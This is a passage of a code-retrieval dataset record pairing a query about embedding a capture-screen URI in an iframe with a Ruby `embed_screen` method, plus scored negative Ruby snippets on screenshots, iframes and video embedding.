"def call(_obj, args, ctx)\n if ctx[:current_user].blank?\n raise GraphQL::ExecutionError.new(\"Authentication required.\")\n else\n user = User.find_by(id: ctx[:current_user][:id])\n end\n\n post = Post.where(slug: args[:slug]).first\n\n if user.admin != true\n raise GraphQL::ExecutionError.new(\"You do not have access to this resource.\")\n end\n\n if args[:title].blank?\n error = GraphQL::ExecutionError.new(\"This field is required.\", options: { field: \"title_field\" } )\n\t ctx.add_error(error)\n end\n if args[:slug].blank?\n error = GraphQL::ExecutionError.new(\"This field is required.\", options: { field: \"slug_field\" } )\n\t ctx.add_error(error)\n end\n if args[:status].blank?\n error = GraphQL::ExecutionError.new(\"This field is required.\", options: { field: \"status_field\" } )\n\t ctx.add_error(error)\n end\n if args[:description].blank?\n error = GraphQL::ExecutionError.new(\"This field is required.\", options: { field: \"description_field\" } )\n\t ctx.add_error(error)\n end\n if args[:body].blank?\n error = GraphQL::ExecutionError.new(\"This field is required.\", options: { field: \"body_field\" } )\n\t ctx.add_error(error)\n end\n if args[:feature_image].blank?\n error = GraphQL::ExecutionError.new(\"This field is required.\", options: { field: \"feature_image_field\" } )\n\t ctx.add_error(error)\n end\n\n accepted_status = ['Published', 'Unpublished']\n\n if accepted_status.exclude?(args[:status])\n error = GraphQL::ExecutionError.new(\"This status is invalid.\", options: { field: \"status_field\" } )\n\t ctx.add_error(error)\n end\n\n if post.present?\n error = GraphQL::ExecutionError.new(\"This slug has been used.\", options: { field: \"slug_field\" } )\n\t ctx.add_error(error)\n end\n\n if error.present?\n raise GraphQL::ExecutionError.new(ctx.errors)\n end\n\n post = Post.create!(\n title: args[:title],\n slug: args[:slug],\n status: args[:status],\n body: args[:body],\n category: args[:category],\n feature_image: args[:feature_image],\n description: args[:description],\n user: user\n )\n\n tags = args[:tags].split(',')\n\n for t in tags\n Tag.create!(\n title: t,\n project_id: post.id,\n status: \"Project\"\n )\n end\n return post\n rescue ActiveRecord::RecordInvalid => e\n GraphQL::ExecutionError.new(\"Invalid input: #{e.record.errors.full_messages.join(', ')}\")\n end"
] |
[
"0.6849017",
"0.6849017",
"0.6754669",
"0.64831704",
"0.6350846",
"0.6350846",
"0.60725975",
"0.60503054",
"0.6039183",
"0.5952092",
"0.5833404",
"0.5762942",
"0.57573867",
"0.57251745",
"0.57068104",
"0.5664376",
"0.5655886",
"0.56414324",
"0.56414324",
"0.5618756",
"0.5608705",
"0.5587656",
"0.55874556",
"0.5567153",
"0.55615956",
"0.55123794",
"0.5496174",
"0.54712707",
"0.547047",
"0.5453559",
"0.5448475",
"0.54400724",
"0.5439245",
"0.5433007",
"0.5424112",
"0.5423777",
"0.5414733",
"0.54106086",
"0.5410392",
"0.5410322",
"0.5374948",
"0.5371679",
"0.533158",
"0.5325133",
"0.5320478",
"0.53101015",
"0.52949864",
"0.52762836",
"0.5272495",
"0.5261041",
"0.5257053",
"0.5252108",
"0.5250068",
"0.52458113",
"0.5243095",
"0.52411205",
"0.5234595",
"0.5234025",
"0.5234025",
"0.5230538",
"0.52284944",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5226328",
"0.5204359",
"0.52024156",
"0.52002466",
"0.5197785",
"0.5194239",
"0.5193984",
"0.5188364",
"0.5187954",
"0.51848334",
"0.51755315",
"0.5172483",
"0.5167689",
"0.5155541",
"0.5155187",
"0.514533",
"0.5144089",
"0.51286197",
"0.51264787",
"0.5120479"
] |
0.5825597
|
11
|
constructs a uri for a capture screen with the necesary params and embeds it in an iframe in the page.
|
def embed_screen(params = {})
@iframe_src = screen_uri(params)
render "iframe"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def screen_uri(params = {}, sn = screen_name)\n uri = URI(\"https://\" + app.captureui_addr)\n uri.path = \"/oauth/#{sn}\"\n uri.query = URI.encode_www_form(params)\n uri.to_s\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n screenCaptureBtn = Element.new(\"Capture Screen Button\", \":Form.captureScreenButton_QPushButton\")\n screenCaptureBtn.click\n snooze 1\n ScreenCapturePopup.new.saveScreenshot(filename, hidePatientDetails)\n end",
"def frame(options)\n set RGhost::Frame.new(options)\n end",
"def screenshot path = '~/Desktop'\n capture_screen self, path\n end",
"def iframe_content_return_url(url, width, height, title = nil)\n url = CGI::escape(url)\n width = CGI::escape(width.to_s)\n height = CGI::escape(height.to_s)\n\n return_url = \"#{content_return_url}?return_type=iframe&url=#{url}&width=#{width}&height=#{height}\"\n return_url = \"#{return_url}&title=#{CGI::escape(title)}\" if title\n\n return return_url\n end",
"def screenshot(width, height, quality)\n url = player_url+'/application/screenshot?'\n url += \"width=#{width}\"\n url += \"&height=#{height}\"\n url += \"&quality=#{quality}\"\n url += \"&#{plex_token}\" if plex_token\n\n ping url\n end",
"def capture_screenshot\n screenshot_file = ScreenshotClient.capture(live_url, format: 'JPG')\n\n screenshot = WorkshopProjectScreenshot.new\n screenshot.file.attach(\n io: screenshot_file,\n filename: 'screenshot.jpg'\n )\n\n self.screenshot = screenshot\n end",
"def take_screenshot(scenario)\r\n screen_name = \"log/screens/\" +scenario.name+\".png\"\r\n page.save_screenshot(screen_name) rescue nil\r\n embed(screen_name, 'image/png') rescue nil\r\nend",
"def take_screenshot(_scenario)\n screenshot_dir = \"#{FigNewton.screenshot_directory}/#{$date_and_time}\"\n FileUtils.mkdir screenshot_dir unless File.directory? screenshot_dir\n encoded_img = @browser.driver.screenshot_as(:base64)\n embed(\"data:image/png;base64,#{encoded_img}\", 'image/png')\nend",
"def frm\n self.frame(:src=>/sakai2samigo.launch.html/)\n end",
"def frm\n self.frame(:src=>/sakai2samigo.launch.html/)\n end",
"def to_html\n w = 400\n h = 300\n id = @url.match(REGEX)[1]\n embed_image = \"#{BASE_URL}/embed.html?mid=#{id}&width=#{w}&height=#{h}&etp=im\"\n embed_3d = \"#{BASE_URL}/embed.html?mid=#{id}&width=#{w}&height=#{h}\"\n <<HTML\n<div class=\"onebox-3dwh\" id=\"#{id}\">\n <iframe src=\"#{embed_image}\" frameborder=\"0\" scrolling=\"no\" marginheight=\"0\" marginwidth=\"0\" width=\"#{w}\" height=\"#{h}\" allowfullscreen></iframe>\n <div class=\"onebox-3dwh-circle\" onclick=\"$('##{id} iframe').attr('src', '#{embed_3d}'); $(this).remove()\" />\n</div>\nHTML\n end",
"def url_for_frameset; end",
"def url_for_frameset; end",
"def generate_complete_timeline_preview_url(given_timeline_id)\n tl_entry_to_use = Timeline.find(given_timeline_id)\n target_page_path = timeline_path(tl_entry_to_use)\n \n protocol_host_port = \"#{request.protocol}#{request.host_with_port}\"\n main_url = \"#{protocol_host_port}#{target_page_path}?preview=true\"\n \n url_to_return = URI::encode(main_url)\n return url_to_return\n end",
"def screencapture(out_folder:, out_file: nil)\n path = \"/plugin_inspect\"\n conn = multipart_connection\n payload = {\n mysubmit: \"Screenshot\",\n passwd: @dev_password,\n archive: Faraday::UploadIO.new(File::NULL, 'application/octet-stream')\n }\n response = conn.post path, payload\n\n path = /<img src=\"([^\"]*)\">/.match(response.body)\n return false unless path\n path = path[1]\n unless out_file\n out_time = /time=([^\"]*)\">/.match(response.body)\n out_ext = /dev.([^\"]*)\\?/.match(response.body)\n out_file = \"dev_#{out_time[1]}.#{out_ext[1]}\" if out_time and out_ext\n out_file = \"dev.jpg\" unless out_file\n end\n\n conn = simple_connection\n\n response = conn.get path\n\n File.open(File.join(out_folder, out_file), \"wb\") do |io|\n io.write(response.body)\n end\n @logger.info \"Screen captured to #{File.join(out_folder, out_file)}\"\n return response.success?\n end",
"def show\n url = params[:url]\n width = params[:maxwidth] || '100%'\n height = params[:maxheight] || '100%'\n format = request.query_parameters[:format]\n\n if (width =~ /^[0-9]+(%|px)?$/) == nil\n raise ActionController::RoutingError.new('Incorrect width')\n end\n if (height =~ /^[0-9]+(%|px)?$/) == nil\n raise ActionController::RoutingError.new('Incorrect height')\n end\n\n uri = URI.parse(url)\n\n if uri.host != request.host\n raise ActionController::RoutingError.new('URL origin not allowed')\n end\n\n begin\n uuid = /(\\w{8}-\\w{4}-\\w{4}-\\w{4}-\\w{12})/.match(uri.path)[0]\n rescue NoMethodError\n raise ActionController::RoutingError.new('UUID not found in URL')\n end\n\n begin\n viz = CartoDB::Visualization::Member.new(id: uuid).fetch\n rescue KeyError\n raise ActionController::RoutingError.new('Visualization not found: ' + uuid)\n end\n\n url = URI.join(public_visualizations_show_url(id: uuid) + \"/\", 'embed_map')\n html = \"<iframe width='#{width}' height='#{height}' frameborder='0' src='#{url}' allowfullscreen webkitallowfullscreen mozallowfullscreen oallowfullscreen msallowfullscreen></iframe>\"\n\n response_data = {\n :type => 'rich',\n :version => '1.0',\n :width => width,\n :height => height,\n :title => viz.name,\n :html => html\n }\n\n if format == 'xml'\n render xml: response_data.to_xml(root: 'oembed')\n else\n render json: response_data.to_json\n end\n end",
"def create_video_object(obj)\n return content_tag(:div, content_tag(:iframe, \"\", :src => obj.link, :width => \"100%\"), :style => \"position:absolute; top: #{obj.y}px; left: #{obj.x}px;\")\n end",
"def capture_snapshot(format: nil)\n {\n method: \"Page.captureSnapshot\",\n params: { format: format }.compact\n }\n end",
"def render(_context)\n @browser_url = @attributes['url']\n render_header + render_contents + render_url + render_footer\n end",
"def screenshot(name=\"screenshot\")\n page.driver.render(\"public/#{name}.jpg\",full: true)\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooter.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooter.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def run\n super\n\n uri = _get_entity_name\n \n begin \n _log \"Browser Navigating to #{uri}\"\n c = Intrigue::ChromeBrowser.new\n browser_response = c.navigate_and_capture(uri)\n rescue Errno::ECONNREFUSED => e \n _log_error \"Unable to connect to chrome browser. Is it running on :9222?\"\n rescue StandardError => e\n `pkill -9 chromium` # hacktastic\n end\n\n if browser_response \n # capture a screenshot and save it as a detail\n _set_entity_detail(\"hidden_screenshot_contents\",browser_response[\"encoded_screenshot\"])\n _set_entity_detail(\"extended_screenshot_contents\",browser_response[\"encoded_screenshot\"])\n _set_entity_detail(\"extended_requests\",browser_response[\"requests\"])\n end\n\n end",
"def XOtakeScreenShot()\n\t\tbegin\n\t\t\tif(@brTypeSym== :chrome)\n\t\t\t\twidth = @wwBrws.execute_script(\"return Math.max(document.body.scrollWidth, document.body.offsetWidth, document.documentElement.clientWidth, document.documentElement.scrollWidth, document.documentElement.offsetWidth);\")\n\t\t\t\theight = @wwBrws.execute_script(\"return Math.max(document.body.scrollHeight, document.body.offsetHeight, document.documentElement.clientHeight, document.documentElement.scrollHeight, document.documentElement.offsetHeight);\")\n#\n# Add some pixels on top of the calculated dimensions for good\n# measure to make the scroll bars disappear\n#\n\t\t\t\t@wwBrws.window.resize_to(width+100, height+100)\n\t\t\tend\n\n\t\t\timgName= $gcfd.report_path+@wwBrws.url.tr(\" =%?*/\\\\:&~\",'_')[0..100]+Time.now.to_i.to_s+'.png'\n\t\t\t@wwBrws.screenshot.save imgName\n\t\t\t@screenList << imgName\n\t\t\t$alog.lwrite(('Image saved in '+imgName), 'DEBG')\n\t\t\tres= OK\n\t\trescue\n\t\t\t$alog.lwrite('Problems taking screenshots: '+$!.to_s, 'ERR_') \t\t\t\t#\n\t\t\tres= CRITICAL\n\t\tend\n\t\treturn res\n\tend",
"def save_screenshot_embed(screenshot, id)\n if driver\n driver.save_screenshot(screenshot)\n embed(screenshot, 'image/png', \"Screenshot #{id}\")\n end\nend",
"def make_screenshot\n Logbook.step('Taking a screenshot of a result page')\n @browser.save_screenshot(\"screenshots/screenshot - #{Time.now.strftime('%Y-%m-%d %H-%M-%S')}.png\")\n end",
"def capture(url, title)\n template_key = 'l'\n ec = '/usr/local/bin/emacsclient'\n `#{ec} org-protocol:/capture:/#{template_key}/'#{escape url}'/'#{escape title}'/''`\nend",
"def new\n @screenshot = Screenshot.new\n @screenshot.sizes.build(height: 900, width: 1200)\n @screenshot.sizes.build(height: 600, width: 768)\n @screenshot.sizes.build(height: 480, width: 320)\n @button = \"Send\"\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @screenshot }\n end\n end",
"def screen_capture_params\n params.require(:screen_capture).permit(:service_url, :file_name)\n end",
"def iframe\r\n return '' if @page.if_url.blank?\r\n\r\n html = \"\\n<iframe\"\r\n html << \" id=\\\"#{@page.if_id}\\\"\" if @page.if_id.present?\r\n html << \" class=\\\"#{@page.if_class}\\\"\" if @page.if_class.present?\r\n html << \" border=\\\"#{@page.if_border}\\\"\" \r\n html << \" height=\\\"#{@page.if_height}\\\"\" if @page.if_height.present?\r\n html << \" width=\\\"#{@page.if_width}\\\"\" if @page.if_width.blank?\r\n html << \" scrolling=\\\"#{@page.if_scroll}\\\"\"\r\n # Parameters\r\n parameters = @page.if_url.match(/\\?/) ? '' : '?' \r\n params = YAML.load(@page.if_params) rescue {}\r\n params = {} unless params.class == Hash\r\n params.each do |key, value|\r\n val = @parent.dc_internal_var(value['object'], value['method'])\r\n parameters << \"&#{key}=#{val}\" if val # only when not nil\r\n end\r\n url = @page.if_url + (parameters.blank? ? '' : parameters)\r\n html << \"src=\\\"#{url}\\\" ></iframe>\\n\"\r\n html\r\nend",
"def get_vimeo_iframe boulder, width, height\n vimeo_id = find_vimeo_id boulder.link\n timestamp = \"#t=#{boulder.position_min}m#{boulder.position_sec}s\"\n\n result = %(<iframe src=\"https://player.vimeo.com/video/#{vimeo_id}#{timestamp}\" width=\"640\" height=\"360\" frameborder=\"0\" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>)\n result.html_safe\n end",
"def capture_command \n cmd = \"#{@cutycapt_path} --url='#{@url}'\"\n cmd += \" --out='#{@folder}/#{@filename}'\"\n cmd += \" --max-wait=#{@max_wait}\"\n cmd += \" --delay=#{@delay}\" if @delay\n cmd += \" --user-agent='#{@user_agent}'\"\n cmd += \" --min-width='#{@min_width}'\"\n cmd += \" --min-height='#{@min_height}'\"\n\n \n if determine_os == :linux and check_xvfb\n xvfb = 'xvfb-run --server-args=\"-screen 0, 1024x768x24\" '\n xvfb.concat(cmd)\n else\n cmd\n end \n end",
"def generate_preview_url\n GlobalConstant::Base.root_url + @params['path'] + '?ts=' + @params['ts'].to_s\n end",
"def screenshot_as(format, full_page: T.unsafe(nil)); end",
"def handle_iframe\n page_uri = params[:page_uri]\n uid = params[:request_id]\n end",
"def screenshot _value\n send_cmd(\"screenshot #{_value}\")\n end",
"def capture(url, filename)\n page_class = Class.new { include PageMagic }\n session = PageMagic.session(browser: :headless_chrome, url: url)\n session.visit(page_class, url: url)\n session.browser.save_screenshot(filename)\n filename\n end",
"def snap(descriptor = \"\")\n name = clean_url(page.current_url)\n\n # Descriptor\n name = name + (descriptor.empty? ? \"\" : \"-state-#{descriptor}\")\n p \"#snap\", \"name\", name unless name.empty?\n\n set_window_size\n\n # Ensure @folder exists\n FileUtils.mkdir_p(@folder) unless File.exists?(@folder)\n Capybara.current_session.driver.browser.save_screenshot(\"#{@folder}/#{name}.png\")\n end",
"def square_uri\n square_params\n uri\n end",
"def take_screenshot(scenario)\r\n scenario_name = \"#{scenario.name}_step\"\r\n sshot_name = \"log/screens/\" + scenario_name +\".png\"\r\n @browser.screenshot.save(sshot_name) rescue nil\r\n embed(sshot_name, 'image/png') rescue nil\r\nend",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooterEdit.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def captureScreen(filename=nil, hidePatientDetails=false)\n @appHeaderFooterEdit.captureScreen(filename, hidePatientDetails)\n return self\n end",
"def window_capture(fileName, windowName)\n return $marathon.saveScreenShot(fileName)\nend",
"def morcego_iframe(control_window_name, destination_name)\n control_window_name ||= \"morcego\"\n destination_name ||= \"morcego-destination\"\n return <<EOD\n <iframe name=\"#{control_window_name}\" id=\"#{control_window_name}\"\n onload=\"morcegoNavigate();\" style=\"display: none;\"></iframe>\n\t <div id=\"#{destination_name}\"></div>\n\t <script language=\"JavaScript\">\n\t function morcegoNavigate() {\n\t var cont = window.frames.#{control_window_name}.document.documentElement;\n\t document.getElementById('#{destination_name}').innerHTML = cont.innerHTML;\n\t }\n\t </script>\nEOD\n end",
"def screen_capture(fileName)\n return $marathon.saveScreenShot(fileName)\nend",
"def iframe\n end",
"def window_capture(fileName, windowName)\n return $marathon.saveScreenShot(fileName)\nend",
"def capture(params)\n request(Resources::RESOURCE_CAPTURE, HTTP_METHOD_POST, params)\n end",
"def screen_capture(fileName)\n return $marathon.saveScreenShot(fileName)\nend",
"def make_screen\n flags = [HWSURFACE, DOUBLEBUF] # FULLSCREEN will be added later\n @screen = Screen.open( [600, 900], 0, flags )\n @screen.title = \"Geotower for great good!\"\n end",
"def frm\n self.frame(:src=>/sakai2forums.launch.html/)\n end",
"def get_youtube_iframe boulder, width, height\n youtube_id = find_youtube_id boulder.link\n seconds = ((boulder.position_min.to_i*60)+ boulder.position_sec.to_i).to_s\n timestamp = \"?start=#{seconds}\"\n #timestamp = \"t=#{boulder.position_min}m#{boulder.position_sec}s\"\n result = %(<iframe title=\"YouTube video player\" width=\"#{width}\"\n height=\"#{height}\" src=\"//www.youtube.com/embed/#{youtube_id}#{timestamp}\"\n frameborder=\"0\" allowfullscreen></iframe>)\n result.html_safe\n end",
"def take_screenshot(options)\n verify_ffmpeg_exists\n verify_source_exists\n \n ffmpeg_options = {\n :i => @source,\n :s => '320x240',\n :vframes => 1,\n :ss => options[:at],\n :an => '',\n }.merge(options.has_key?(:options) ? options[:options] : {})\n \n output = run_ffmpeg( ffmpeg_options, options[:to], true )\n raise \"unable to take screenshot:\\n\\n#{output}\" unless File.exists?(options[:to])\n end",
"def take_pic\n $testCaseID = \"VT229-0293\"\n Camera::take_picture(url_for(:action => :camera_callback))\n end",
"def capture(url, output_path, width: 1024, height: 768, full: false, timeout: false, capture_if: nil, save_if: nil, on_load: nil)\n\n # Reset session\n Capybara.reset_sessions!\n\n # Browser settings\n page.driver.resize(width, height)\n page.driver.headers = {\n \"User-Agent\" => \"Pagelapse #{Pagelapse::VERSION}\",\n }\n\n # Set default capture_if and save_if\n unless capture_if\n capture_if = Proc.new do\n page.driver.status_code == 200\n end\n end\n unless save_if\n save_if = Proc.new do |old_file, new_file|\n Digest::MD5.file(old_file).hexdigest != Digest::MD5.file(new_file).hexdigest\n end\n end\n\n # Open page\n visit url\n\n # Run on_load\n instance_eval(&on_load) if on_load\n\n # Timeout\n sleep timeout if timeout\n\n if instance_eval(&capture_if)\n old_file = last_file_next_to(output_path)\n\n # Save screenshot\n page.driver.save_screenshot(output_path, :full => full)\n\n # If no old file, than always save\n return true unless old_file\n\n if save_if.call(old_file, output_path)\n true\n else\n File.delete output_path\n false\n end\n else\n false\n end\n end",
"def generateUrl(additionalParams={})\n finalParams = self._setFinalParams(additionalParams)\n options = {}\n options['product'] = self\n options['renderParameters'] = finalParams\n params = @serverManager.buildRenderCommand(options)\n if params then\n url = @serverManager.buildRenderServerUrlRequest(params)\n url\n end\n end",
"def component_capture(fileName, windowName, componentName)\n return $marathon.saveScreenShot(fileName)\nend",
"def screenshot(project_id, screenshot_id, req_params = {})\n params = { query: [project_id, screenshot_id], req: req_params }\n\n data = endpoint(name: 'Screenshots', params: params).do_get\n\n resource 'Screenshot', data\n end",
"def show\n @product = Product.find(params[:id])\n if Rails.env.development?\n @domain = \"http://localhost:3000\"\n else\n @domain = \"https://hawkeye360.herokuapp.com\"\n end\n @iframe = '<iframe src=\"%s/products/%s/preview\" width=\"%s\" height=\"%s\"></iframe>' % [@domain, @product.id, @product.display_width, @product.display_height]\n gon.image_path = \"https://s3-us-west-2.amazonaws.com/#{ENV['S3_BUCKET']}/uploads/product/images/#{@product.id}/\"\n gon.total_frames = @product.total_frames\n gon.file_extension = @product.file_extension\n gon.display_width = @product.display_width\n gon.display_height = @product.display_height\n end",
"def show\n @iframe = @video.iFrame_Source.html_safe\n end",
"def component_capture(fileName, windowName, componentName)\n return $marathon.saveScreenShot(fileName)\nend",
"def render_resolve_url_personal(work, show_youtube_iframe=false)\n url = work.attach_url\n obj = get_resolved_url_obj(url)\n case obj[:type]\n when \"image\"\n tag :img, src: \"#{url}\", onload: \"onImageLoad(this)\"\n when \"audio\" #compare to 2\n tag :audio, controls: \"controls\", src: \"#{url}\", style: \"width:100%;\"\n when \"video\"\n tag :video, controls: \"controls\", src: \"#{url}\", width: \"100%\", height: \"100%\"\n when \"youtube\"\n matches = obj[:match_object]\n if show_youtube_iframe\n queryobj = {}\n queryobj[\"rel\"] = 0\n hashes = \"\"\n overrides = Rack::Utils.parse_query(URI.parse(matches[0]).query)\n overrides.delete(\"v\")\n queryobj = queryobj.merge(overrides)\n if matches[4] != nil\n splits = matches[4].split('#')\n if splits.length > 1\n hashes += \"#\" + splits[1]\n end\n end\n queryobj[\"enablejsapi\"] = 1;\n if queryobj[\"t\"].present?\n timeRe = /((?<min>\\d+)[m])?((?<sec>\\d+)[s])?/\n time = queryobj[\"t\"].scan(timeRe)[0]\n queryobj[\"start\"] = (time[0] ? time[0].to_i : 0) * 60 + (time[1] ? time[1].to_i : 0)\n end\n querystr = Rack::Utils.build_query(queryobj)\n content_tag :iframe, '', src: \"https://www.youtube.com/embed/#{matches[2]}?#{querystr}#{hashes}\", width: '100%', frameborder: '0', height: '100%'\n else\n tag :img, src: \"https://i.ytimg.com/vi/#{matches[2]}/hqdefault.jpg\", onload: \"onImageLoad(this)\"\n end\n else\n # content_tag :div, :data => { :remote_url => url }, class: \"remote-preview\" do\n # content_tag(:div,'', style: 'background-image:url(' + work.remote_image_url + ')', class: 'preview-image') +\n # content_tag(:p, work.remote_description, class: 'preview-description')\n # end\n tag :img, src: \"#{work.remote_image_url}\", onload: \"onImageLoad(this)\"\n end\n end",
"def image( capture_frame = self.bounds, size = self.bounds.size )\n begin\n frame_of_view = CGRectMake(capture_frame.origin.x, self.bounds.size.height - capture_frame.size.height, capture_frame.size.width, capture_frame.size.height)\n image_rep = self.bitmapImageRepForCachingDisplayInRect(frame_of_view)\n image_rep.setSize(frame_of_view.size)\n self.cacheDisplayInRect(frame_of_view, toBitmapImageRep:image_rep)\n image = NSImage.alloc.initWithSize(size)\n image.addRepresentation(image_rep)\n\n image\n rescue Exception => e\n pe_report e\n nil\n end\n end",
"def addWebCam()\n pathToWebcam = \"#{$PATHTOPUBLISHED}/#{@meetingData.meetingId}/video/webcams.webm\"\n pathToIntermediates= \"#{$PATHTOGENERATEINTERMEDIATES}/#{@meetingData.meetingId}\"\n\n # resize the webcam video\n puts \" Resizing webcam recording \"\n system \"ffmpeg -i #{pathToWebcam} -vcodec libx264 -vf scale=200:-1 #{pathToIntermediates}/webcamResized.mp4 -loglevel quiet\"\n \n # create a directory to store the final video(inside the published)\n pathToCompleteRecording=\"#{$PATHTOPUBLISHED}/#{@meetingData.meetingId}/completeVideo\"\n createDirectoryIfNotExists(pathToCompleteRecording)\n\n puts \"Adding webcam into final video\"\n #merge it with the presentation+deskshare video\n system \"ffmpeg -i #{pathToIntermediates}/output.mp4 -i #{pathToIntermediates}/webcamResized.mp4 -filter_complex \\' overlay=x=main_w-overlay_w-10:y=main_h-overlay_h-10 \\' #{pathToCompleteRecording}/finalcut.mp4 -loglevel quiet\"\n end",
"def generate_preview_url(target_url)\n preview_url = url_for(\n :controller => ('/' + target_url[\"target_controller\"]),\n :action => target_url[\"target_action\"],\n :id => params[:id]\n )\n end",
"def open_viewer(urn,access_token)\n path = File.expand_path(File.dirname(__FILE__))\n url = \"file://#{path}/viewer.html?token=#{access_token}&urn=#{urn}\"\n text_to_print_in_color = \"Please open the following url in your favorite browser:\\n#{url}\"\n puts(\"\\e[7m#{text_to_print_in_color}\\e[27m\")\n\nend",
"def get_viewer_link(urn,access_token)\n #absolute url = request.base_url\n url = \"/viewer1.html?token=#{access_token}&urn=#{urn}\"\n link = \"<a href=\\\"#{url}\\\" target=\\\"_blank\\\">View Model</a>\"\n return link\n end",
"def flash_image_inside_frame(browser_handle, frame_prop, frame_prop_val, image_prop, image_prop_val)\n browser_handle.frame(frame_prop.intern, /#{frame_prop_val}/).image(image_prop.intern, /#{image_prop_val}/).flash\nend",
"def url\n self.compile\n url = \"#{properties[:endpoint]}/render/?width=586&height=308&#{properties_to_url}&target=\" + CGI.escape(targets.map{|i| i.compile}.compact.join(\"&target=\"))\n end",
"def screenshot rect = CGRect.new(CGPoint.new(0, 0), CGSize.new(-1, -1)),\n path = '~/Desktop'\n require 'accessibility/screen_shooter'\n ScreenShooter.shoot rect.to_rect, path\n end",
"def browser_uri(options = {})\n grey = options[:grey]\n if grey\n GoodData.connection.url + uri\n else\n GoodData.connection.url + '#s=' + uri\n end\n end",
"def url_for_canvas(url_opts={})\n controller.send(:url_for_canvas, url_opts)\n end",
"def render_video_directly options={}\n # render video player\n content_tag(:div) do\n options[:value].collect do |video_md5|\n l1 = video_md5[0..1]\n l2 = video_md5[2..3]\n content_tag(:video,\n content_tag(:source, \"I'm sorry; your browser doesn't support HTML5 video in MP4 with H.264.\",\n src: \"https://cspace-prod-02.ist.berkeley.edu/#TENANT#_nuxeo/data/#{l1}/#{l2}/#{video_md5}\",\n id: 'video_md5',\n type: 'video/mp4'),\n controls: 'controls',\n style: 'width: 640px;')\n end.join.html_safe\n end\n end",
"def capture!\n @capture = CvCapture.open(@movie_url)\n end",
"def embed(path,width=\"400\",height=\"250\")\n width = width.to_i-10\n height= height.to_i-40\n \"<OBJECT CLASSID=\\\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\\\" \n \t\t\t width=\\\"#{width}\\\" CODEBASE=\\\"http://www.apple.com/qtactivex/qtplugin.cab\\\" \n \t\t\t height=\\\"#{height}\\\">\n \t\t\t <PARAM name=\\\"SRC\\\" value=\\\"#{path}\\\">\n \t\t\t <PARAM name=\\\"CONTROLLER\\\" value=\\\"true\\\">\n \t\t\t <PARAM name=\\\"scale\\\" value=\\\"Aspect\\\">\n \t\t\t <PARAM name=\\\"AUTOPLAY\\\" value=\\\"true\\\">\n \t\t\t <PARAM name=\\\"border\\\" value=\\\"1\\\">\n \t\t\t <PARAM name=\\\"target\\\" value=\\\"webbrowser\\\">\n \t\t\t <PARAM name=\\\"href\\\">\n \t\t\t <EMBED src=\\\"#{path}?filename=#{filename}\\\" border=\\\"0\\\" \n \t\t\t width=\\\"#{width}\\\" autoplay=\\\"true\\\" scale=\\\"Aspect\\\" \n \t\t\t pluginspage=\\\"http://www.apple.com/quicktime/download/\\\" \n \t\t\t height=\\\"#{height}\\\" target=\\\"webbrowser\\\" \n \t\t\t controller=\\\"true\\\" bgcolor=\\\"FFFFCC\\\">\n \t\t\t </EMBED>\n \t\t\t </OBJECT>\"\n end",
"def add_screenshot(scenario)\n nome = scenario.name.tr(' ', '_').downcase!\n captura = page.save_screenshot(\"log/screenshots/#{nome}.png\")\n attach(captura, 'image/png')\nend",
"def iframe(options = {})\n concat(content_tag(:iframe, class: options[:class], src: options[:src], width: options[:width], height: options[:height]) do\n end).html_safe\n end",
"def video_page_permalink()\n if video = self.video\n \"#{Settings::ShelbyAPI.web_root}/video/#{video.provider_name}/#{video.provider_id}/?frame_id=#{self.id}\"\n elsif self.roll_id\n \"#{Settings::ShelbyAPI.web_root}/roll/#{self.roll_id}/frame/#{self.id}\"\n else\n \"#{Settings::ShelbyAPI.web_root}/rollFromFrame/#{self.id}\"\n end\n end",
"def print_photo_url\n \"#{PhotoboothAPI.server_url}/#{@url}/print\"\n end",
"def setup\n allow_cors unless !ConcertoConfig[:public_concerto]\n @preview = params.has_key?(:preview) && params[:preview] == \"true\"\n begin\n @screen = Screen.find(params[:id])\n allow_screen_if_unsecured @screen\n auth! action: (@preview ? :preview : :display)\n rescue ActiveRecord::ActiveRecordError\n render json: {}, status: 404\n rescue CanCan::AccessDenied\n render json: {}, status: 403\n else\n # If we got the dimensions then keep them so we can indicate its orientation in the screen list.\n if params['width'].present? and params['height'].present? and !@preview\n height = params['height'].to_i rescue nil\n width = params['width'].to_i rescue nil\n @screen.update_columns(height: height, width: width)\n Rails.logger.debug(\"updated screen #{@screen.id} dimensions #{width}w x #{height} h\")\n end\n\n # field_configs = [] # Cache the field_configs\n @screen.run_callbacks(:frontend_display) do\n # Inject paths into fake attribute so they gets sent with the setup info.\n # Pretend that it's better not to change the format of the image, so we detect it's upload extension.\n if !@screen.template.media.preferred.first.nil?\n template_format = File.extname(@screen.template.media.preferred.first.file_name)[1..-1]\n @screen.template.path = frontend_screen_template_path(@screen, @screen.template, format: template_format)\n else\n template_format = nil\n @screen.template.path = nil\n end\n css_media = @screen.template.media.where({key: 'css'})\n if !css_media.empty?\n @screen.template.css_path = media_path(css_media.first)\n end\n @screen.template.positions.each do |p|\n p.field_contents_path = frontend_screen_field_contents_path(@screen, p.field, format: :json)\n p.field.config = {}\n FieldConfig.default.where(field_id: p.field_id).each do |d_fc|\n p.field.config[d_fc.key] = d_fc.value\n # field_configs << d_fc\n end\n @screen.field_configs.where(field_id: p.field_id).each do |fc|\n p.field.config[fc.key] = fc.value\n # field_configs << fc\n end\n # add how to handle when content cannot be loaded or has run out\n p.field.config['screens_clear_last_content'] = ConcertoConfig['screens_clear_last_content']\n end\n end\n\n frontend_cache_key = @screen.frontend_cache_key\n response.headers[\"X-Concerto-Frontend-Setup-Key\"] = frontend_cache_key\n\n @screen.time_zone = 